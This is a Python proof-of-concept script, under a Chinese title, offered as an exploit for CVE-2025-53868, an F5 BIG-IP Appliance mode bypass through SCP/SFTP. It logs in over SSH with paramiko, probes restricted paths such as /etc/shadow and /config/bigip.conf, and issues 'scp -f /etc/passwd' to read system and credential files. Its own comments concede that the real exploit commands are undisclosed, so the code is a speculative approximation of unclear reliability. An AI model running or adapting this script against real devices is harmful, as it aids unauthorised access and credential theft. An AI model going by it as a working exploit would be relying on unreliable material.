CVE-2025-53868 F5 BIG-IP Appliance模式SCP/SFTP限制绕过漏洞

# CVE-2025-53868 PoC - F5 BIG-IP Appliance Mode Bypass via SCP/SFTP # Note: Specific exploit commands are not publicly disclosed yet. # This PoC demonstrates the general attack approach. import paramiko import sys def exploit_appliance_mode_bypass(host, port, username, password): """ Attempt to bypass F5 BIG-IP Appliance mode restrictions using SCP/SFTP subsystems. Prerequisites: - Valid admin-level credentials for the BIG-IP device - Device must be running in Appliance mode - SCP/SFTP services must be enabled """ client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: # Connect to the BIG-IP device client.connect( hostname=host, port=port, username=username, password=password, look_for_keys=False, allow_agent=False ) print(f"[+] Connected to {host}:{port}") # Attempt to invoke SCP subsystem with crafted commands # The vulnerability allows executing undisclosed commands # through SCP/SFTP that bypass Appliance mode restrictions # Method 1: Direct SFTP subsystem exploitation sftp = client.open_sftp() print("[+] SFTP session opened") # Attempt to access restricted files/directories # In normal Appliance mode, these should be inaccessible try: restricted_paths = [ '/config/bigip.conf', '/usr/share/ts/etc/', '/var/log/secure', '/etc/shadow' ] for path in restricted_paths: try: sftp.stat(path) print(f"[!] ACCESS GRANTED to restricted path: {path}") except IOError as e: print(f"[-] Access denied to {path}: {e}") except Exception as e: print(f"[-] SFTP operation error: {e}") sftp.close() # Method 2: SCP command injection via subsystem # Open SCP channel and attempt command bypass transport = client.get_transport() channel = transport.open_session() # Invoke SCP subsystem - undisclosed commands can bypass # Appliance mode restrictions through this channel channel.exec_command('scp -f /etc/passwd') output = channel.recv(4096).decode('utf-8', errors='ignore') print(f"[+] SCP channel response: {output[:200]}") channel.close() except paramiko.AuthenticationException: print("[-] Authentication failed - valid credentials required") except Exception as e: print(f"[-] Error: {e}") finally: client.close() if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <host> <port> <username> <password>") print(f"Example: {sys.argv[0]} 192.168.1.100 22 admin password123") sys.exit(1) exploit_appliance_mode_bypass(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])